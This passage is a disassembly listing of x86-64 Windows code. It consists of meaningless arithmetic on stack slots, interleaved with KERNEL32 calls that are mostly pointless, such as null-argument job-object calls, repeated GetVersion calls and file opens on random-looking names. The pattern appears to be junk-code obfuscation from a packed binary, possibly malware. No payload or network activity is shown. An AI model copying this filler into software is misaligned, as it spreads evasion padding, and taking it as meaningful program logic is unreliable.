mov dword [rsp + 0xaf1c], eax
mov rax, qword [rsp + 0x15ca8]
mov ecx, dword [rsp + 0xab78]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x150a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x157e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15de8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x155f8]
mov byte [rcx], al
lea rax, [rsp + 0x2de8]
mov qword [rsp + 0x16718], rax
mov rax, qword [rsp + 0x13ad0]
mov ecx, dword [rsp + 0xad8c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x164b0]
mov dword [rcx], eax
lea rax, [rsp + 0xa4c4]
mov qword [rsp + 0x16720], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb200], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x148b0]
mov rcx, qword [rsp + 0x16568]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13fa8]
mov dword [rcx], eax
lea rax, [rsp + 0xb01c]
mov qword [0x140364168], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae74], eax
movzx ecx, word [rsp + 0x2cd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b58], ax
lea rdx, [rsp + 0x14b78]
mov rcx, qword [rsp + 0x16590]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb27c], eax
mov eax, dword [0x14035cc18]
mov ecx, dword [rsp + 0x8d38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xad4c], eax
mov rax, qword [rsp + 0x140a0]
movzx eax, word [rax]
mov word [rsp + 0x2e0c], ax
mov rax, qword [rsp + 0x15638]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x718]
sub eax, ecx
mov rcx, qword [rsp + 0x13810]
mov byte [rcx], al
mov rax, qword [rsp + 0x15a60]
movzx eax, word [rax]
mov word [rsp + 0x2e10], ax
mov rax, qword [0x140363dd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x722]
or eax, ecx
mov rcx, qword [rsp + 0x13720]
mov byte [rcx], al
mov rax, qword [rsp + 0x15c90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9b14]
shl eax, cl
mov dword [rsp + 0xa758], eax
mov rax, qword [rsp + 0x15178]
mov ecx, dword [rsp + 0xa3a8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xb134], eax
movzx eax, byte [rsp + 0x464]
mov rcx, qword [rsp + 0x14f38]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x15ea8]
mov byte [rcx], al
mov rax, qword [rsp + 0x15a08]
movzx eax, word [rax]
movzx ecx, word [0x140362cdc]
and eax, ecx
mov rcx, qword [0x140363af0]
mov word [rcx], ax
movzx ecx, word [rsp + 0x2cf0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2d1c], ax
lea rax, [rsp + 0xaad4]
mov qword [rsp + 0x16728], rax
mov rcx, qword [rsp + 0x13200]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x96a4]
mov ecx, dword [rsp + 0xb128]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14460]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xae34]
mov dword [rsp + 0xb280], eax
mov r9d, 1
lea r8, [rsp + 0x16620]
mov rdx, qword [rsp + 0x13980]
mov rcx, qword [rsp + 0x15a90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaef4], eax
mov eax, dword [rsp + 0xadcc]
mov ecx, dword [0x140363bfc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8414], eax
mov rax, qword [rsp + 0x16548]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x157e8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6f6], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.3o7aFd8Bsjdfnh01j8P9PEmaV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16730], rax
lea rcx, [rsp + 0x41e08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x298c]
mov qword [rsp + 0x16738], rax
mov eax, dword [rsp + 0xab04]
mov ecx, dword [rsp + 0x6ed4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa978], eax
lea rdx, [rsp + 0x14c68]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaf94], eax
mov rax, qword [rsp + 0x13380]
mov rcx, qword [rsp + 0x15838]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x68a8], eax
lea rax, [rsp + 0x2d20]
mov qword [0x140364170], rax
mov rax, qword [0x1403639b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x143e8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13810]
mov byte [rcx], al
movzx eax, word [rsp + 0x2bb4]
movzx ecx, word [rsp + 0x14b8]
sub eax, ecx
mov word [rsp + 0x2d44], ax
movzx eax, byte [rsp + 0x6f3]
mov byte [rsp + 0x74f], al
mov rax, qword [rsp + 0x13d08]
mov ecx, dword [rsp + 0xae38]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6618], eax
mov eax, dword [rsp + 0xa7dc]
mov dword [rsp + 0xb284], eax
mov rax, qword [rsp + 0x13d58]
mov rcx, qword [rsp + 0x15310]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xac50], eax
lea rax, [rsp + 0xadf8]
mov qword [rsp + 0x16740], rax
mov eax, dword [rsp + 0xab9c]
mov ecx, dword [rsp + 0xb098]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a60], eax
lea rcx, str.pzXvyI0RC_XXpZoQsQJ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e14], ax
mov rax, qword [rsp + 0x15c80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1328]
add eax, ecx
mov word [rsp + 0x298c], ax
movzx eax, byte [rsp + 0x71e]
movzx ecx, byte [rsp + 0x58b]
shl eax, cl
mov byte [0x14035e55f], al
lea rdx, [rsp + 0x45dc8]
mov rcx, qword [rsp + 0x14690]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb1d0], eax
mov eax, dword [rsp + 0xae48]
movzx ecx, al
mov eax, dword [rsp + 0xae5c]
shr eax, cl
mov dword [rsp + 0x87b0], eax
mov rax, qword [rsp + 0x15960]
mov eax, dword [rax]
mov ecx, dword [0x140364150]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0ec], eax
lea rax, [rsp + 0xaa04]
mov qword [rsp + 0x16748], rax
mov eax, dword [rsp + 0x6700]
mov ecx, dword [rsp + 0x7338]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x148d8]
mov dword [rcx], eax
mov rax, qword [0x140363df8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14330]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14450]
mov word [rcx], ax
lea rax, [rsp + 0x211]
mov qword [rsp + 0x16750], rax
movsx eax, word [rsp + 0x2de4]
movsx ecx, word [rsp + 0x2aec]
and eax, ecx
mov word [rsp + 0x2d80], ax
lea rax, [rsp + 0x400]
mov qword [rsp + 0x16758], rax
mov rax, qword [rsp + 0x16320]
mov rcx, qword [rsp + 0x148d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140363b18]
mov dword [rcx], eax
mov rax, qword [0x1403639d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8c9c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x73fc], eax
movzx eax, word [rsp + 0x2c78]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14f98]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x161f0]
movzx eax, byte [rax]
mov byte [rsp + 0x750], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.dCySMcc2vIM60nHkWj7O9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16760], rax
mov rax, qword [rsp + 0x143a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7c1c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x87e8], eax
lea rax, [rsp + 0x643c]
mov qword [rsp + 0x16768], rax
mov rax, qword [rsp + 0x15358]
mov rcx, qword [rsp + 0x14b00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x162d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x158f8]
mov rcx, qword [rsp + 0x16720]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa684], eax
mov rax, qword [rsp + 0x13a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13368]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x604], al
mov rax, qword [rsp + 0x13d98]
movzx eax, word [rax]
mov word [0x14036321c], ax
mov eax, dword [rsp + 0xaeac]
mov rcx, qword [0x140363e50]
mov qword [rsp + 0x16770], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16770]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x13a50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15858]
mov eax, dword [rax]
mov dword [rsp + 0xb288], eax
mov rax, qword [rsp + 0x13bd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x81b4]
shl eax, cl
mov rcx, qword [rsp + 0x136f0]
mov dword [rcx], eax
xor r9d, r9d
lea r8, [rsp + 0x144e0]
mov rdx, qword [rsp + 0x13c00]
mov rcx, qword [rsp + 0x159d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xb218], eax
lea rax, [0x14035cc48]
mov qword [rsp + 0x16778], rax
mov rax, qword [rsp + 0x139e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x733c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c88]
mov dword [rcx], eax
movsx eax, word [rsp + 0x197c]
movsx ecx, word [rsp + 0x2c08]
or eax, ecx
mov word [rsp + 0x1e18], ax
movzx eax, byte [0x14035e4d6]
mov byte [rsp + 0x751], al
mov rax, qword [rsp + 0x15718]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x740]
and eax, ecx
mov byte [rsp + 0x6e4], al
lea rax, [rsp + 0x29d0]
mov qword [0x140364178], rax
lea rax, [rsp + 0xac9c]
mov qword [rsp + 0x16780], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaf10], eax
mov eax, dword [rsp + 0x9568]
mov ecx, dword [rsp + 0x965c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x134d0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x59f]
mov rcx, qword [rsp + 0x14f20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6ed], al
mov rax, qword [0x140363e90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c58]
and eax, ecx
mov word [rsp + 0x1a90], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x16788], rax
mov rax, qword [rsp + 0x164c0]
mov rcx, qword [rsp + 0x136e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x166b8]
mov eax, dword [rax]
mov dword [rsp + 0xb28c], eax
mov rax, qword [0x140363e38]
mov rcx, qword [rsp + 0x13c30]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x765c], eax
lea rcx, [rsp + 0x41e08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13ed8]
mov ecx, dword [rsp + 0x6824]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14eb8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x209c]
movzx ecx, word [rsp + 0x1dc0]
add eax, ecx
mov word [0x140362eac], ax
mov rax, qword [rsp + 0x14e88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x141e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5eb], al
mov r9d, 0x18de
xor r8d, r8d
lea rdx, [rsp + 0x13ca8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa7bc], eax
mov rax, qword [rsp + 0x16070]
mov rcx, qword [rsp + 0x13320]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15b28]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab94], eax
mov eax, dword [rsp + 0x8ce0]
mov dword [rsp + 0xb290], eax
movsx eax, byte [rsp + 0x33e]
mov rcx, qword [rsp + 0x16310]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x135f0]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x16790], rax
mov dword [rsp + 0x20], 0x3c25
mov r9d, 0x3670
mov r8d, 0x297a
mov edx, 0x1f56
mov rcx, qword [rsp + 0x15b18]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xb008], eax
mov rax, qword [rsp + 0x163f8]
movzx eax, word [rax]
mov word [rsp + 0x2e18], ax
mov rax, qword [0x140363ab8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x147d8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14d98]
mov word [rcx], ax
lea rdx, [rsp + 0x14328]
mov rcx, qword [rsp + 0x141d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb294], eax
mov rax, qword [rsp + 0x14a90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6cd]
xor eax, ecx
mov rcx, qword [rsp + 0x15270]
mov byte [rcx], al
lea rax, [rsp + 0xae4c]
mov qword [rsp + 0x16798], rax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov dword [0x140364180], eax
movzx ecx, word [rsp + 0x2d48]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29ac], ax
mov rax, qword [rsp + 0x137a0]
mov ecx, dword [rsp + 0xa8c0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x156d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x97f8]
mov ecx, dword [rsp + 0xafe4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ce0], eax
mov rax, qword [0x140363fc0]
mov rcx, qword [rsp + 0x15788]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13c18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14318]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x700], al
movzx eax, word [rsp + 0x1328]
mov word [rsp + 0x2e1c], ax
mov rax, qword [rsp + 0x13b30]
mov rcx, qword [rsp + 0x14b38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13b20]
mov dword [rcx], eax
lea rax, [rsp + 0xace8]
mov qword [rsp + 0x167a0], rax
mov rax, qword [rsp + 0x16450]
mov rcx, qword [0x140363c28]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15238]
mov dword [rcx], eax
mov eax, dword [rsp + 0x73a0]
mov ecx, dword [rsp + 0xa8d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140363ad0]
mov dword [rcx], eax
mov r9d, 0x1917
xor r8d, r8d
lea rdx, [rsp + 0x16790]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xb298], eax
movzx eax, byte [rsp + 0x6b7]
movzx ecx, byte [rsp + 0x166]
or eax, ecx
mov rcx, qword [rsp + 0x138a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2a14]
mov rcx, qword [rsp + 0x14658]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10f0], ax
movsx eax, word [rsp + 0x2ae0]
mov rcx, qword [rsp + 0x16208]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d14], ax
lea rax, [rsp + 0x5b1]
mov qword [rsp + 0x167a8], rax
mov eax, dword [rsp + 0xa8ac]
mov ecx, dword [rsp + 0xa960]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13fa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xac0c]
movzx ecx, al
mov eax, dword [rsp + 0xa9b4]
shl eax, cl
mov rcx, qword [rsp + 0x15d28]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x223c
mov r9d, 0xe70
mov r8d, 0xb2dcad34
mov edx, 1
mov rcx, qword [rsp + 0x16760]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xb238], eax
movzx eax, byte [rsp + 0x6c1]
mov byte [rsp + 0x752], al
mov rax, qword [rsp + 0x164a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x145f8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x15440]
mov word [rcx], ax
mov rax, qword [rsp + 0x15ab8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x69fc]
shr eax, cl
mov rcx, qword [0x140363a38]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x16398]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x13e38]
mov ecx, dword [rsp + 0xb0f0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7318], eax
mov eax, dword [rsp + 0xb1b0]
mov ecx, dword [rsp + 0xb1b8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x147d0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rax, [rsp + 0x7afc]
mov qword [rsp + 0x167b0], rax
mov rax, qword [rsp + 0x15a08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x152a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b00], ax
movzx eax, byte [rsp + 0x700]
mov rcx, qword [rsp + 0x14f78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5bb], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb29c], eax
mov rax, qword [rsp + 0x149e8]
mov eax, dword [rax]
mov dword [rsp + 0xb2a0], eax
mov rax, qword [0x140363f28]
mov rcx, qword [rsp + 0x13c98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb044], eax
mov eax, dword [rsp + 0x800c]
mov dword [rsp + 0xb2a4], eax
lea rax, [rsp + 0xa850]
mov qword [0x140364188], rax
mov rax, qword [rsp + 0x13c50]
mov rcx, qword [rsp + 0x14e30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x93e0], eax
movsx eax, word [rsp + 0x1dbc]
movsx ecx, word [rsp + 0x2a28]
add eax, ecx
mov word [rsp + 0x29f4], ax
mov rax, qword [rsp + 0x166a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6bb]
and eax, ecx
mov byte [rsp + 0x299], al
movzx eax, byte [rsp + 0x6c0]
mov rcx, qword [rsp + 0x14bf0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x15068]
mov byte [rcx], al
lea rax, [rsp + 0x279c]
mov qword [rsp + 0x167b8], rax
mov r9d, 0x12b0
xor r8d, r8d
lea rdx, [rsp + 0x154c8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xaac4], eax
mov rax, qword [rsp + 0x153c0]
mov rcx, qword [rsp + 0x14400]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xac94], eax
mov rax, qword [rsp + 0x15e48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab5c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x153d0]
mov dword [rcx], eax
lea rdx, [rsp + 0x167c0]
mov rcx, qword [rsp + 0x137b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa7b8], eax
movzx eax, byte [rsp + 0x53b]
mov byte [rsp + 0x753], al
mov rax, qword [rsp + 0x15a30]
movzx eax, word [rax]
movzx ecx, word [0x140362bdc]
sar eax, cl
mov word [0x14035ccbc], ax
mov rax, qword [rsp + 0x13668]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb014]
shl eax, cl
mov dword [rsp + 0xaa54], eax
mov rax, qword [rsp + 0x14f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ce0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x956c], eax
mov rax, qword [rsp + 0x153f8]
mov rcx, qword [rsp + 0x14c00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7a7c], eax
mov rax, qword [rsp + 0x15b28]
mov rcx, qword [rsp + 0x14cb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaca4], eax
lea rax, [rsp + 0x1a90]
mov qword [rsp + 0x167c8], rax
lea rdx, [rsp + 0x45ff8]
mov rcx, qword [rsp + 0x16328]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xac2c], eax
movzx eax, byte [0x140353583]
mov rcx, qword [rsp + 0x15850]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6fc], al
lea rax, [rsp + 0x71c4]
mov qword [rsp + 0x167d0], rax
mov rax, qword [0x140363d50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6514], eax
movsx eax, byte [rsp + 0x53a]
movsx ecx, byte [rsp + 0x628]
sub eax, ecx
mov rcx, qword [0x140363f50]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb2a8], eax
movzx eax, word [rsp + 0x2ae0]
mov word [rsp + 0x2e20], ax
movzx eax, word [rsp + 0x2c7c]
movzx ecx, word [0x140362f74]
add eax, ecx
mov word [rsp + 0x2a14], ax
mov r9d, 0x749
xor r8d, r8d
lea rdx, [rsp + 0x13200]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xad0c], eax
lea rdx, [rsp + 0x167d8]
mov rcx, qword [rsp + 0x14b70]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaa9c], eax
movzx eax, byte [rsp + 0x6e5]
mov rcx, qword [rsp + 0x16078]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x138e8]
mov byte [rcx], al
movzx ecx, word [rsp + 0x2ce8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2dbc], ax
mov rax, qword [rsp + 0x14150]
mov eax, dword [rax]
mov dword [rsp + 0xb2ac], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0x15428]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaed0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16780]
mov dword [rcx], eax
mov rax, qword [rsp + 0x139e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa810]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e64], eax
mov rax, qword [rsp + 0x14fc8]
mov rcx, qword [rsp + 0x13ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb0cc], eax
mov eax, dword [rsp + 0xac14]
movzx ecx, al
mov eax, dword [rsp + 0xb1a0]
shl eax, cl
mov rcx, qword [rsp + 0x13550]
mov dword [rcx], eax
lea rax, [rsp + 0x48d]
mov qword [rsp + 0x167e0], rax
mov rax, qword [rsp + 0x14ee8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2df4]
sar eax, cl
mov rcx, qword [0x140363f78]
mov word [rcx], ax
mov rax, qword [rsp + 0x15390]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa564]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a38]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaec8]
mov dword [rsp + 0xb2b0], eax
mov rax, qword [rsp + 0x15d60]
mov ecx, dword [0x140363ea0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xac7c], eax
mov rax, qword [rsp + 0x15550]
mov ecx, dword [rsp + 0xaadc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb190], eax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14290]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x18e4], ax
movzx eax, byte [0x14035e532]
movzx ecx, byte [rsp + 0x705]
or eax, ecx
mov byte [rsp + 0x309], al
mov rax, qword [rsp + 0x15458]
movzx eax, byte [rax]
mov byte [rsp + 0x754], al
movsx eax, word [rsp + 0x2344]
mov rcx, qword [rsp + 0x13e48]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14790]
mov word [rcx], ax
mov r9d, 2
lea r8, [rsp + 0x13268]
mov rdx, qword [rsp + 0x13e28]
mov rcx, qword [rsp + 0x162c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xb2b4], eax
mov eax, dword [0x140363de4]
mov dword [0x140364184], eax
mov eax, dword [rsp + 0x8178]
mov dword [rsp + 0xb2b8], eax
movzx eax, byte [rsp + 0x53b]
mov rcx, qword [rsp + 0x13458]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6c3], al
mov rax, qword [0x140364158]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15b30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e00], ax
lea rax, [rsp + 0x8224]
mov qword [rsp + 0x167e8], rax
mov eax, dword [rsp + 0xacb4]
mov ecx, dword [rsp + 0xb1cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa938], eax
lea rax, [0x140363be4]
mov qword [rsp + 0x167f0], rax
mov rax, qword [rsp + 0x14680]
mov rcx, qword [rsp + 0x163b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x138e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14230]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13f40]
mov byte [rcx], al
movzx eax, word [rsp + 0x2554]
mov rcx, qword [rsp + 0x14d18]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14035ccc0], ax
mov rax, qword [rsp + 0x136b0]
mov ecx, dword [rsp + 0x874c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x98cc], eax
mov rax, qword [rsp + 0x157f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb260]
shl eax, cl
mov rcx, qword [rsp + 0x15a98]
mov dword [rcx], eax
lea rax, [rsp + 0x870c]
mov qword [rsp + 0x167f8], rax
mov rax, qword [rsp + 0x13858]
mov ecx, dword [rsp + 0xaf68]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7758], eax
mov rax, qword [0x1403640e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14760]
mov qword [rsp + 0x16800], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16800]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7848], eax
movzx eax, byte [rsp + 0x71f]
mov byte [rsp + 0x755], al
mov rax, qword [rsp + 0x14368]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15360]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c50], ax
movzx ecx, word [rsp + 0x2994]
